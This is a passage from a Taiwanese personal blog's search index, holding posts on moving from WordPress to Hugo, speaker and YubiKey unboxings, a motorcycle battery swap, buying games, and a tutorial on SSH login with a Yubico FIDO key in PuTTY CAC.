伺服器上處理的，幾乎所有的工作都在 Linux 命令列與 Vim 編輯器中完成，因此我也希望可以同時在類似的環境下撰寫部落格文章，而 Hugo 剛好符合我的需求。\n關於前面提到的 WordPress 伺服器負載與維護問題，在 Hugo 架構下就完全解決了，因為 Hugo 產生的是靜態網頁架構，對於伺服器的負載是最輕的，各種效能調校可能都不用做了，而 Hugo 基本上就是一個將網站原始碼轉換為網頁的轉換器，不需要依賴其他伺服器或資料庫，所以網頁原始碼就是一些單純的 Markdown 文字檔與圖片，備份與維護都非常單純，完美解決上述這些 WordPress 問題。\n綜合上述的考量，加上觀察 Hugo 在 GitHub 上面的星星數，因此決定將 G. T. Wang 部落格轉為 Hugo 架構。\nWordPress 轉換為 Hugo 的過程 決定好採用 Hugo 這套新架構之後，接著就是規劃如何轉換既有 WordPress 文章內容，在 Hugo 的官方文件中有描述如何從其他的 CMS 架構轉移至 Hugo，雖然對於 WordPress 轉 Hugo 已經有很多的工具可以使用，但是我研究之後發現多數的工具都不是很成熟，多少都存在一些問題，最後我採用 wordpress-to-hugo-exporter 這個 WordPress 外掛工具先將基本的文章資料從 WordPress 轉出來，接著再自己撰寫一系列的 Python 指令稿，半人工的方式逐一處理超過 1,500 偏舊文章以及對應的圖片素材。\n使用 wordpress-to-hugo-exporter 外掛匯出 WordPress 文章只要幾分鐘就解決了，它會自動產生每一篇文章的 Markdown 原始檔，理想的情況下，我們只要將這些 Markdown 原始檔案放入 Hugo 專案的目錄下，就可以透過 Hugo 自動產生新的網站內容，但是由於我過去在 WordPress 舊站中自行定義了許多 CSS 以及 HTML 語法，導致匯出文章時，出現許多需要自行修正的地方，為了修正各種小地方，我寫了十幾個 Python 指令稿去批次處理這些問題。\n當程式處理完之後，也是需要人工確認有沒有問題，我花了將近兩個月，重新快速看過超過 1,500 篇文章，將需要修正的無效超連結、過時的文章都重新編修一次，工程相當浩大。\n通常在更改架構之後，後面還會遇到一些小問題會持續修改，所以更換網站架構歷時幾個月都是很正常的，除非有必要，不然不會有站長喜歡時常變更架構的。\n在正式轉換為 Hugo 架構之前，我用 GTmetrix 測試了一下目前網站的效能。\n接著我採用了最陽春的 nginx 設定，完全沒有任何快取或最佳化處理，得到的網站效能就已經有明顯的改善了。\n","permalink":"https://blog.gtwang.org/hugo/gtwang-website-migrate-to-hugo-2026/","summary":"\u003cp\u003e今年春節我經過一番評估之後，決定將 G. T. Wang 部落格從原本的 WordPress 架構，更換為 Hugo 的靜態網站架構，除了熟悉新的 Hugo 架構之外，還要重新整理 G. T. Wang 部落格超過 1,500 篇舊文章，整個轉移過程歷經將近兩個月。\u003c/p\u003e","title":"G. T. Wang 網站改用 Hugo 架構改寫過程記錄"},{"content":"我在 2025 年的年底從淘寶買了一組漫步者 Edifier MR5BT 監聽喇叭，使用起來很滿意，我們家阿玄聽過之後也很喜歡，再加上白色的 MR5BT 外型真的非常好看，所以我就另外再買一組小一點的 MR3BT 給阿玄放在他的房間，讓他可以用手機透過藍芽撥放音樂，當成阿玄的新年禮物。\n這次我一樣是從淘寶直接下訂，跟上次的情況類似，也是等了大約兩個多禮拜才收到，這次主要應該是在對岸的海關卡比較久。這次收到的時候，外箱看起來沒有明顯的破損，狀況比上次好很多。\n這一組 MR3BT 在台灣漫步者官方網站定價是台幣 2,990 元，，我在淘寶買到的價格是人民幣 345 元，加上加上運費、關稅、手續費等費用，最後我從淘寶買到手的總金額是台幣 1,924 元。\n拆掉最外面的紙箱，裡面是白色的 MR3BT 紙箱，看起來很漂亮，而我上次買的 MR5BT 紙箱還留著，剛好可以放在一起比較一下大小，MR3BT 的箱子比 MR5BT 的箱子小了很多。\n箱子打開之後，裡面就是 MR3BT 監聽喇叭，還有一包線材，包裝的非常好。\n這是 MR3BT 喇叭的說明書與線材，電源線與一般的音源線就不用介紹了，該有的都有，比較特別的是連接左右聲道喇叭的那一條喇叭線，他直接給裸線，沒有做接頭，而 MR5BT 則是提供一條有接頭的喇叭線，這是 MR3BT 與 MR5BT 必較明顯的差異之一。\n這是漫步者 Edifier MR3BT 專業監聽喇叭的正面，外型跟 MR5BT 非常相似，我是感覺白色的音響真的很好看。\n這是漫步者 Edifier MR3BT 專業監聽喇叭的背面，連接左右聲道喇叭的線是靠彈簧夾來連接裸線的，我是感覺有點不太精緻，但好處是可以自己換線，而通常我也不會去拔這條線，所以是還可以接受。\n我把 MR5BT 與 MR3BT 放在一起比較，兩個外觀真的非常相似，都非常好看。\nMR3BT 外觀看起來就是縮小版的 MR5BT，體積是真的小很多。\nMR3BT 比起 MR5BT 少了低音的部分。\nMR3BT 開箱完後，就給阿玄放在房間聽音樂，平常阿玄都用手機的 Spotify 透過藍牙撥放音樂，所以只需要接一條電源線還有一條連接左右聲道的喇叭線，使用起來很方便。\n阿玄非常喜歡這一組 MR3BT，既好看也好聽。\n白色的 MR3BT 放在阿玄的桌上，看起來就很舒服。\nMR3BT 與 MR5BT 都可以透過 Edifier 的手機 App 以藍牙的方式操控喇叭的設定，喇叭音量也可以直接用手機 App 調整，所以平常躺在床上用手機就可以調整音量，非常方便。\n","permalink":"https://blog.gtwang.org/unboxing/edifier-mr3bt-powered-studio-monitor-speakers-with-bluetooth-20260210/","summary":"\u003cp\u003e我在 2025 年的年底從淘寶買了一組\u003ca href=\"/unboxing/edifier-mr5bt-tri-amped-powered-bookshelf-studio-monitor-speakers-20251210/\"\u003e漫步者 Edifier MR5BT 監聽喇叭\u003c/a\u003e，使用起來很滿意，我們家阿玄聽過之後也很喜歡，再加上白色的 MR5BT 外型真的非常好看，所以我就另外再買一組小一點的 MR3BT 給阿玄放在他的房間，讓他可以用手機透過藍芽撥放音樂，當成阿玄的新年禮物。\u003c/p\u003e","title":"[開箱] 漫步者 Edifier MR3BT 專業監聽喇叭"},{"content":"本篇記錄我在大學一年級的時候，買的 Altec Lansing ATP3 2.1 聲道喇叭，用了二十幾年之後，目前的狀態。\n我在大學一年級的時候，花了台幣三千多元買了一組當時 CP 值最好的 Altec Lansing ATP3 2.1 聲道喇叭，在當時這一組喇叭的 CP 爆表，雖然它的外觀設計被大家詬病看起來像墓碑，成為傳說中的墓碑造型喇叭，但是它的音質表現實在是太好了，直到十幾年之後，這一組喇叭都停產了，還是有人在找這一組喇叭。\n我整個大學與研究所期間都是用這一組喇叭，音質沒話說，直到現在拿出來聽，它的音質還是算非常棒的。\n這一組喇叭使用久了之後，會出問題地方就是電源兼音量的那個主要旋鈕，裡面的可變電阻會接觸不良，我看網路上有人嘗試更換這一個可變電阻，但是拆卸喇叭的過程實在是太困難了，所以我也沒打算換這個可變電阻，就繼續將就這樣用，盡量不要去轉音量，用電腦的音量來調整就好。\n這一組 ATP3 喇叭，左右邊各有兩個高音單體。\n中音單體位於底部，而低音單體則是最大的那個音箱。\n","permalink":"https://blog.gtwang.org/life/altec-lansing-multimedia-computer-speaker-system-atp3-20251214/","summary":"\u003cp\u003e本篇記錄我在大學一年級的時候，買的 Altec Lansing ATP3 2.1 聲道喇叭，用了二十幾年之後，目前的狀態。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我在大學一年級的時候，花了台幣三千多元買了一組當時 CP 值最好的 Altec Lansing ATP3 2.1 聲道喇叭，在當時這一組喇叭的 CP 爆表，雖然它的外觀設計被大家詬病看起來像墓碑，成為傳說中的墓碑造型喇叭，但是它的音質表現實在是太好了，直到十幾年之後，這一組喇叭都停產了，還是有人在找這一組喇叭。\u003c/p\u003e","title":"Altec Lansing ATP3 2.1 聲道喇叭"},{"content":"本篇記錄我在淘寶購買漫步者 Edifier MR5BT 專業監聽喇叭的過程，以及開箱的紀錄。\n由於我從小很喜歡聽音樂，國中與高中的時候，在房間都會使用手提音響放 CD 音樂來聽，幾乎在房間的時間都會播著音樂，而我在上了大學之後，就花了台幣三千多元買了一組當時 CP 值最好的 Altec Lansing ATP3 2.1 聲道喇叭，那一組喇叭到現在還留著，只不過音量旋鈕壞了，但免強還能聽。\n由於過去聽習慣了三千元左右的喇叭，所以後來買喇叭都會買這個價位的，之前買過的有 Creative GigaWorks T40 Series II 喇叭與二手的 YAMAHA NX-GX50 喇叭。\n前陣子我慣用的 Creative GigaWorks T40 Series II 喇叭壞了，可能是因為裡面的電子零件壞了，常常聽到一半會突然完全沒聲音，讓我很困擾，最後實在沒辦法，只好整組換掉。\n這次我在淘寶上挑了好久，基本上目標就是台幣三千多的價位，而且 CP 值最高的喇叭，這個價位的喇叭若要找 CP 值最高的，漫步者 Edifier MR5BT 專業監聽喇叭會是其中一個不錯的選擇，這一組喇叭在 2025 年中左右在中國大陸上市，台灣大約在 2025 年 11 月左右才開始正式發售，算是目前最新的喇叭，台灣漫步者官方網站定價是台幣 6790 元，而淘寶的價格則是人民幣 780 元左右，加上運費、關稅、手續費等費用，最後我從淘寶買到手的總金額是台幣 3577 元。\n雖然自己從淘寶購買的話，價格會非常便宜，但是要等貨物從中國大陸運過來，海運加上海關至少要等一週以上，而最近我下訂的這個時間剛好遇到雙十一購物季，同時又遇上一個颱風，海運與海關大塞車，我從下訂到收到貨，足足等了兩個多禮拜，光是海關就卡了一週。\n喇叭外箱在運送過程被撞破，還用膠帶補強過。\n打開外箱之後，裡面還有一層內箱。\n連內箱都被撞破，自己從淘寶買的話，運送過程常會有這樣的狀況，這是一個小缺點。\n打開內箱，裡面還有厚厚的紙板保護，看起來是沒有傷到喇叭。\n打開紙板，裡面就是一組漫步者 Edifier MR5BT 專業監聽喇叭。\n把包裝拆開，白色的喇叭外觀真的非常漂亮。\n這一組喇叭淨重超過 10 公斤，算是比較重的喇叭。喇叭的正面有電源按鍵兼音量調整的旋鈕，還有聲音輸入與耳機插孔。\n配件有兩片海綿墊、線材與說明書，海綿墊是用來墊在喇叭下面的，但是我不想用，因為我覺得它有點醜。\n線材包含喇叭連接線、電源線、3.5mm-RCA 線。\n這是漫步者 Edifier MR5BT 專業監聽喇叭的背面，支援的音源輸入介面有：平衡 XLR、平衡 ¼ 吋 TRS、非平衡 RCA、3.5mm AUX 立體聲、藍牙，還有兩個旋鈕可以調整高頻與低頻。\n這一組的喇叭正面看起來不大，只是前後的深度比較深，放在桌子上要注意一下自己的書桌尺寸。\n由於我的書桌空間非常寬，所以放這一組喇叭很適合，只不過我不想要把喇叭內傾（Toe-in），我感覺喇叭擺正的比較好看，所以真的要聽音樂的時候，我都會退後兩公尺來聽。\n漫步者 Edifier MR5BT 是一組監聽喇叭，它有監聽模式與音樂模式可以選擇，或是自行定義音樂模式，我平常都喜歡用監聽模式在聽音樂，可以聽到原始的聲音。\n這一組喇叭可以使用漫步者官方的手機 App 來調整各種參數，音量控制也都可以透過手機 App 調整，這樣一來我平常使用時，就可以完全不需要去動到喇叭上頭實體的音量旋鈕，非常方便。我之前的 Altec Lansing ATP3 2.1 聲道喇叭，就是因為我常常在轉音量旋鈕，最後旋鈕被我轉到壞掉，所以我現在都不喜歡直接轉實體的旋鈕，現在這一組漫步者 Edifier MR5BT 可以用手機 App 透過藍牙操作它，真的是非常棒的設計。\n","permalink":"https://blog.gtwang.org/unboxing/edifier-mr5bt-tri-amped-powered-bookshelf-studio-monitor-speakers-20251210/","summary":"\u003cp\u003e本篇記錄我在淘寶購買漫步者 Edifier MR5BT 專業監聽喇叭的過程，以及開箱的紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e由於我從小很喜歡聽音樂，國中與高中的時候，在房間都會使用手提音響放 CD 音樂來聽，幾乎在房間的時間都會播著音樂，而我在上了大學之後，就花了台幣三千多元買了一組當時 CP 值最好的 \u003ca href=\"/life/altec-lansing-multimedia-computer-speaker-system-atp3-20251214/\"\u003eAltec Lansing ATP3 2.1 聲道喇叭\u003c/a\u003e，那一組喇叭到現在還留著，只不過音量旋鈕壞了，但免強還能聽。\u003c/p\u003e","title":"[開箱] 漫步者 Edifier MR5BT 專業監聽喇叭"},{"content":"本篇記錄我在 Steam 遊戲平台上購買各版次的火影忍者遊戲，以及在蝦皮購物購買 Xbox 遊戲手把的過程。\n最近有同學借阿玄玩了一次任天堂 Switch 上的火影忍者遊戲，回來就吵著要買 Switch，還說他要用自己存的錢來買，但是由於 Switch 價格非常高，一台要將近台幣一萬元，加上 Switch 的螢幕不夠大，我也怕阿玄玩到近視眼，所以就希望他可以改玩電腦上的遊戲，但是他就說電腦上的遊戲他都玩膩了，而 Switch 上面的火影忍者比較好玩，我大概理解他的意思，大概主要的差異在於 3D 視角還有遊戲手把的操作，所以我就去看了 Steam 上面的火影忍者遊戲，發現一系列的火影忍者遊戲剛好本週大特價，所以就直接買了幾款特價的遊戲，然後再去買了一對副廠 Xbox 手把，總共花了不到兩千元，而阿玄玩過之後，就說這樣他已經很滿足了，不用買 Switch 了，馬上省下八千元。\n小朋友玩遊戲一定都會上癮，所以在讓小朋友玩遊戲之前，一定要跟小朋友約定好，什麼條件下可以玩（例如寫完作業），每天固定最多玩多久，玩完之後眼睛要去看遠方，若不遵守就不可以玩，以免影響視力。\n副廠 Xbox 手把 這款副廠的 Xbox 手把我是在蝦皮購物上買的，我是直接選最便宜又暢銷的款式，這個手把一隻只要台幣 170 元（外加搖桿帽 10 元），它的按鍵與微軟原廠的 Xbox 手把按鍵基本上都相同，大概只是品質比原廠差一些，但我覺得給小朋友玩不需要太講究，我預期這個手把被玩壞之前，小朋友就已經玩膩了。\n我買這個副廠 Xbox 手把的時候，也順便買了搖桿帽，可以裝在兩支搖桿上，看起來很可愛。\n副廠 Xbox 手把的頂部兩側各有兩個按鍵，分別為 LB、LT、RB、RT 鍵，這些都根源廠的 Xbox 手把相同。\n拿到搖桿之後，阿玄迫不及待地自己安裝搖桿帽。\n裝上搖桿帽之後，真的非常可愛。\n兩隻手把附贈的搖桿帽剛好不同顏色。\n把兩把副廠 Xbox 手把接上電腦，就可以開始玩 Steam 裡面的遊戲了。\n把 Xbox 手把的 USB 頭插上電腦，不需要安裝驅動程式，就可以直接使用了，接上電腦之後，手把上的燈會亮起來。\nSteam 火影忍者遊戲 最近阿玄吵著要玩火影忍者的遊戲，我們的運氣真的非常好，剛好遇到 Steam 上面的火影忍者遊戲大特價，很多款火影忍者的遊戲都打到三折以下，我就趁此機會一次買了好幾套。\n這次我買了五套火影忍者遊戲、一套火影的擴充故事包、一套海賊王遊戲，還有一套 CarX Drift Racing Online 賽車遊戲，都是大約三折以下的價格買的，所以非常便宜，只花了台幣一千兩百多塊，順便把我在 PayPal 上的餘額花一花，以往這樣的價格大概只能買一套遊戲而已，這樣買下來真的很划算。\n這是這次一起買的 Steam 海賊王遊戲，原價台幣 1,790 元，特價打一折，只要台幣 179 元，因為實在很便宜，所以就一起買了。\n這次買了很多款遊戲，火影忍者的遊戲有第一版到第四版，後面還有博人傳，實在是太多了，以下我只結了幾張火影忍者第四版的遊戲畫面。\n在火影忍者的遊戲中，不同的版本會對應火影故事中不同的時期，同樣的角色會因為時期不同而有不同的樣子。\n戰鬥畫面都是 3D 的，視角會自動調整，透過手把可以非常好操控在 3D 空間中的移動。\n各種角色基本上都會有自己特別的忍術或招式，通常就是在火影故事中曾經出現過最華麗的那一個或那幾個。\n這是宇智波班的須佐能乎。\n這是宇智波班的須佐能乎完全體。\n這是鳴人的尾獸化模式。\n這是千手柱間的真數千手。\n這是宇智波佐助的須佐能乎。\n阿玄這兩天有了一對手把與好幾套遊戲，真的非常高興，還邀請鄰居的小朋友一起來家裡對戰，家裡特別熱鬧。\n","permalink":"https://blog.gtwang.org/unboxing/steam-naturo-game-xbox-controller-unboxing-20230212/","summary":"\u003cp\u003e本篇記錄我在 Steam 遊戲平台上購買各版次的火影忍者遊戲，以及在蝦皮購物購買 Xbox 遊戲手把的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近有同學借阿玄玩了一次任天堂 Switch 上的火影忍者遊戲，回來就吵著要買 Switch，還說他要用自己存的錢來買，但是由於 Switch 價格非常高，一台要將近台幣一萬元，加上 Switch 的螢幕不夠大，我也怕阿玄玩到近視眼，所以就希望他可以改玩電腦上的遊戲，但是他就說電腦上的遊戲他都玩膩了，而 Switch 上面的火影忍者比較好玩，我大概理解他的意思，大概主要的差異在於 3D 視角還有遊戲手把的操作，所以我就去看了 Steam 上面的火影忍者遊戲，發現一系列的火影忍者遊戲剛好本週大特價，所以就直接買了幾款特價的遊戲，然後再去買了一對副廠 Xbox 手把，總共花了不到兩千元，而阿玄玩過之後，就說這樣他已經很滿足了，不用買 Switch 了，馬上省下八千元。\u003c/p\u003e","title":"[開箱] 購買 Steam 火影忍者遊戲與副廠 Xbox 手把記錄"},{"content":"本篇記錄我的光陽 KYMCO GP 125 機車電瓶沒電無法發動，跟機車行老闆借電瓶接電後發動，並到車行更換電瓶。\n我的光陽 KYMCO GP 125 鼓剎機車在買來之後一直騎到現在都沒什麼問題，在過年前感覺早上第一次發動的時候都不是很好發，感覺就是電瓶沒電，但是沒有馬上去換，結果過年期間比較少騎車，過完年車子就發不起來了。\n機車發不起來，只好騎腳踏車去車行找老闆幫忙，老闆借了一顆電瓶與螺絲起子給我，並教我如何接機車的電瓶。\n回到家之後，準備接電發車，隔壁的黑狗小多也跑來湊熱鬧。\n光陽 GP 125 的電瓶就在置物箱的後方，只要把那一顆十字的螺絲轉開，就可以看到電瓶。\n這就是 GP 125 的電瓶。\n接著把有電的電瓶接上，正極接正極，負極接負極，接好之後就可以發動車子了，發動之後外接電瓶就可以拔掉，然後趕緊騎去車行換新電瓶。\n騎到車行後，給老闆檢查一下電瓶，確認是電瓶的問題之後，換一個新的電瓶就解決問題了。\n這是換下來的舊電瓶，老闆說一般的機車電瓶大約可以用一兩年左右，我算一算我這一顆電瓶從買車之後就一直用到現在，中間都沒換過，大概已經用了三年半了。\n這一台 GP 125 機車在發動時，啟動的瞬間汽油泵浦與起動馬達都至少需要 11.5 伏特的電壓，老舊的電瓶可能在熄火狀態直接量測的電壓是正常的，但是啟動的瞬間，電瓶放電時電壓就會下降到過低的狀態，如果發動一次沒成功，再次發動時電壓就會降得更低，最後就完全沒電發不動了。\n現在的機車都沒有做踩發桿，純粹靠電瓶啟動了，所以感覺電瓶快沒電時，就要趕緊去車行檢查，不然電瓶一沒電，就只能去借電瓶接電才能發動了。\n","permalink":"https://blog.gtwang.org/life/kymco-gp-125-motorcycle-battery-replacement-20230128/","summary":"\u003cp\u003e本篇記錄我的光陽 KYMCO GP 125 機車電瓶沒電無法發動，跟機車行老闆借電瓶接電後發動，並到車行更換電瓶。\u003c/p\u003e\n\u003cp\u003e我的\u003ca href=\"/unboxing/kymco-gp-125-drum-brake-motor-2019/\"\u003e光陽 KYMCO GP 125 鼓剎機車\u003c/a\u003e在買來之後一直騎到現在都沒什麼問題，在過年前感覺早上第一次發動的時候都不是很好發，感覺就是電瓶沒電，但是沒有馬上去換，結果過年期間比較少騎車，過完年車子就發不起來了。\u003c/p\u003e","title":"光陽 KYMCO GP 125 機車接電發動、更換電瓶記錄"},{"content":"本篇是 YubiKey 5C NFC 實體金鑰的簡單開箱文。\nYubiKey 5C NFC 實體金鑰是 YubiKey 5 系列中功能比較齊全的一款，除了 Yubico Security Key 的 FIDO U2F 與 FIDO2 功能之外，還支援 OTP、OATH、YubiHSM Auth、OpenPGP 與 PIV，所以之前介紹的 Windows 設定 PuTTY 以 Yubico Security Key 實體金鑰遠端登入 SSH 伺服器，以及 macOS 設定 Yubico FIDO U2F Security Key 實體金鑰認證遠端登入 SSH 伺服器，也都可以用這一支 YubiKey 5C NFC 實體金鑰來實作。\nYubiKey 5C NFC 的功能豐富，在 YubiKey 5 系列中算是比較熱銷的一款。\n在 YubiKey 5C NFC 包裝的背面有 Yubico 的官方說明網址，如果是第一次使用的話，可以從中查閱使用說明。\n打開 YubiKey 5C NFC 包裝後，可以看到 YubiKey 5C NFC 實體金鑰的背面有一組序號以及對應的二維條碼，每一支 YubiKey 5C NFC 實體金鑰都有一組唯一的序號，不會重複。\n這就是 YubiKey 5C NFC 實體金鑰。\n使用時要將 YubiKey 5C NFC 實體金鑰插入電腦的 USB 接孔中。\nYubiKey 5C NFC 的設計跟 Yubico Security Key 類似，當需要讀取實體金鑰的重要資訊時，上頭的「y」圖案就會發亮，這時候就要用手指觸碰一下這個圖案，才能繼續。\n將 YubiKey 5C NFC 實體金鑰插入 USB 孔之後，可以從 Yubico 的官方網站下載 YubiKey Manager，進行基本的設定，例如設定各種 PIN 碼、OTP、FIDO2、PIV 功能等。\n如果是比較進階的使用者，還可以下載 YubiKey Personalization Tool，調整更多 YubiKey 5C NFC 裡面細部的設定。\n","permalink":"https://blog.gtwang.org/unboxing/yubikey-5c-nfc-physical-key-2022/","summary":"\u003cp\u003e本篇是 YubiKey 5C NFC 實體金鑰的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://support.yubico.com/s/article/YubiKey-5C-NFC\"\u003eYubiKey 5C NFC\u003c/a\u003e 實體金鑰是 YubiKey 5 系列中功能比較齊全的一款，除了 Yubico Security Key 的 FIDO U2F 與 FIDO2 功能之外，還支援 OTP、OATH、YubiHSM Auth、OpenPGP 與 PIV，所以之前介紹的 \u003ca href=\"/linux/windows-configure-putty-ssh-with-yubico-security-key-authentication-2022/\"\u003eWindows 設定 PuTTY 以 Yubico Security Key 實體金鑰遠端登入 SSH 伺服器\u003c/a\u003e，以及 \u003ca href=\"/linux/macos-configure-ssh-with-yubico-fido-u2f-security-key-authentication/\"\u003emacOS 設定 Yubico FIDO U2F Security Key 實體金鑰認證遠端登入 SSH 伺服器\u003c/a\u003e，也都可以用這一支 YubiKey 5C NFC 實體金鑰來實作。\u003c/p\u003e","title":"[開箱] YubiKey 5C NFC 實體金鑰"},{"content":"本篇介紹如何在 Windows 中使用 PuTTY 搭配 Yubico Security Key 實體金鑰，以 SSH 遠端登入 Linux 伺服器，既安全又不需要密碼。\n本篇是介紹 Windows 中以 PuTTY 搭配 Yubico Security Key 實體金鑰的做法，若是 macOS 的環境則可參考 macOS 設定 Yubico FIDO U2F Security Key 實體金鑰認證遠端登入 SSH 伺服器教學。\n最近因為工作需要，買了幾支 Yubico Security Key NFC 與 YubiKey 5C NFC，這兩支實體金鑰的功能不同（可參考 Yubico 官方網站的比較），價格上也有差異。\nYubico Security Key NFC 開箱 這裡我們以 Yubico Security Key NFC 來示範如何設定 PyTTY 搭配實體金鑰進行 SSH 的登入，牽涉到的功能只有 FIDO U2F 與 FIDO2，而由於 Yubico Security Key NFC 有的功能在 YubiKey 5C NFC 中也都有，所以同樣的操作方式也同時適用於 YubiKey 5C NFC。\n在 Yubico Security Key NFC 包裝的背面有 Yubico 的官方說明網址，如果是第一次使用的話，可以從中查閱使用說明。\n打開 Yubico Security Key NFC 包裝。\n這就是 Yubico Security Key NFC 實體金鑰。\n這是 Yubico Security Key NFC 實體金鑰背面的樣子。\n使用時要將 Yubico Security Key NFC 實體金鑰插入電腦的 USB 接孔中。\n通常在需要讀取實體金鑰的重要資訊時，上面的鑰匙圖案就會發亮，這時候就要用手指觸碰一下這個鑰匙圖案，才能繼續。\n安裝 YubiKey Manager Step 1\n從 Yubico 的官方網站下載 YubiKey Manager 的安裝檔，安裝 YubiKey Manager 後，以系統管理者身分執行 YubiKey Manager。\nStep 2\n選擇「Applications」中的「FIDO2」，設定 FIDO2 的 PIN 碼。\nStep 3\nFIDO2 的 PIN 碼就是用來保護金鑰的一組密碼，輸入兩次新密碼之後，按下「Set PIN」儲存。\n下載 PyTTY CAC PyTTY CAC 是 PyTTY 的分支版本，比標準版的 PyTTY 多增加了 Windows Certificate API（CAPI）、Public Key Cryptography Standards（PKCS）函式庫、Fast Identity Online（FIDO）金鑰功能，可以用硬體上的金鑰進行登入，例如 Yubikey 等。\n我們可以從 PyTTY CAC 的 GitHub 網站上下載最新版的 PyTTY CAC，其使用方式跟標準版的 PyTTY 類似，以下是 PyTTY CAC 設定 Yubico Security Key NFC 實體金鑰的步驟。 Step 1\n選擇「Connection」→「SSH」→「Certificate」→「FIDO Tools」，在這個頁面中我們可以建立連結 Yubico Security Key NFC 的公鑰與私鑰。\n「Key Algorithm」選項可以調整金鑰的演算法類型，ssh-ed25519 是目前比較好的選擇；「Key type」選項則是可以設定是否要採用 FIDO2 的 Resident Key 金鑰，保存在 Yubico Security Key NFC 中；「User Verification」選項則是設定使用者驗證方式，除了手指觸碰之外，是否還要加上 PIN 碼驗證。\n調整好金鑰選項之後，按下「Create Key」即可產生金鑰。\nStep 2\n在建立金鑰，Windows 會跳出一些確認訊息，請點選「確定」。\nStep 3\n若採用 FIDO2 的 Resident Key 金鑰，就會出現這樣的提示訊息，一樣點選「確定」即可。\nStep 4\n輸入剛剛上面設定的 FIDO2 PIN 碼。\nStep 5\n當出現觸碰安全性金鑰的提示訊息時，Yubico Security Key NFC 上面的鑰匙圖案會閃爍發亮。\n這時候要用手指觸碰一下 Yubico Security Key NFC 上面的鑰匙圖案。\nStep 6\n完成 FIDO 金鑰建立之後，將新建立的金鑰加入目前的 PuTTY 連線設定，點選「是」 繼續。\n複製公鑰內容 在 PuTTY 的左側選單中選擇「Connection」→「SSH」→「Certificate」，在此頁面中可以設定要採用的金鑰，剛剛我們已經在建立好 FIDO 金鑰時也同時設定採用 FIDO 金鑰，這裡就直接點選「Copy To Clipboard」，將對應的公鑰內容複製下來。\n複製下來的公鑰內容會類似這樣：\nsk-ssh-ed25519@openssh.com AAANrLXTAGnE5QG9wZW9NzaC1lZDI1NtAAAAICTI05zc2guY2jds/cBx6GimV/DzZ08y+dcbdkut5cwtUdUi+mS7ABHNzaDAAAo= FIDO:ssh: ssh: 將這串公鑰內容附加至遠端 Linux 伺服器對應帳號下的 ~/.ssh/authorized_keys 檔案中。\n以實體金鑰透過 SSH 登入遠端伺服器 在 PuTTY 中設定好遠端 Linux 伺服器的主機位址之後，即可使用 Yubico Security Key NFC 實體金鑰來透過 SSH 登入遠端伺服器了。\n在使用 Yubico Security Key NFC 實體金鑰進行認證時，同樣要用手指觸碰一下 Yubico Security Key NFC 上面的鑰匙圖案。\n在其他電腦匯入金鑰 當我們產生了第一對 FIDO2 的 Resident Key 金鑰，並將其儲存在 Yubico Security Key NFC 之內，同時也將對應的公鑰放進遠端的 Linux 伺服器中，之後如果要在其他台電腦登入該遠端的 Linux 伺服器，就可以沿用這一組金鑰，不需要重新再產生新的金鑰，以下是在不同台電腦中匯入與設定金鑰的步驟。\nStep 1\n下載 PyTTY CAC，至少要包含 putty.exe 與 puttyimp.exe。\nStep 2\n插入 Yubico Security Key NFC 之後，在 PuTTY 的「Connection」→「SSH」→「Certificate」→「FIDO Tools」中，使用「Import Keys」將 Yubico Security Key NFC 之中的金鑰匯入。\nStep 3\n在 PuTTY 的「Connection」→「SSH」→「Certificate」中，以「Set FIDO Key」設定採用 FIDO 金鑰。\n這樣就可以立即使用 Yubico Security Key NFC 實體金鑰來登入遠端的 Linux 伺服器了。\n在使用實體金鑰登入 Linux 伺服器時，要注意伺服器的 OpenSSH 至少要是 8.2 以後的版本（OpenSSH 從這個版本才開始支援 FIDO/U2F 與 ecdsa-sk、ed25519-sk 兩種金鑰），若伺服器的 OpenSSH 版本太舊，就會出現類似以下的錯誤訊息：\nNo supported authentication methods available 參考資料 Cryptsus：How to configure SSH with YubiKey Security Keys U2F Authentication on Ubuntu Bash Prompt：A Short Guide To Using A Yubikey For SSH Authentication GitHub：Win32-OpenSSH GitHub：libfido2 dev.yubico：Securing SSH with the YubiKey YubiKey Manager (ykman) CLI and GUI Guide ","permalink":"https://blog.gtwang.org/linux/windows-configure-putty-ssh-with-yubico-security-key-authentication-2022/","summary":"\u003cp\u003e本篇介紹如何在 Windows 中使用 PuTTY 搭配 Yubico Security Key 實體金鑰，以 SSH 遠端登入 Linux 伺服器，既安全又不需要密碼。\u003c/p\u003e\n\u003cp\u003e本篇是介紹 Windows 中以 PuTTY 搭配 Yubico Security Key 實體金鑰的做法，若是 macOS 的環境則可參考 \u003ca href=\"/linux/macos-configure-ssh-with-yubico-fido-u2f-security-key-authentication/\"\u003emacOS 設定 Yubico FIDO U2F Security Key 實體金鑰認證遠端登入 SSH 伺服器教學\u003c/a\u003e。\u003c/p\u003e","title":"Windows 設定 PuTTY 以 Yubico Security Key 實體金鑰遠端登入 SSH 伺服器教學"},{"content":"本篇介紹如何在 macOS 中使用 SSH 搭配 Yubico 的 FIDO U2F Security Key 實體金鑰認證，登入遠端的 Linux 伺服器。\n今天跟同事借了一支 Yubico 的 FIDO U2F Security Key，這一支是比較舊款的實體金鑰，只支援 FIDO U2F，不過還是很適合用於一般的 SSH 遠端登入。\n安裝 libfido2 在使用 Yubico 的金鑰之前，要先安裝 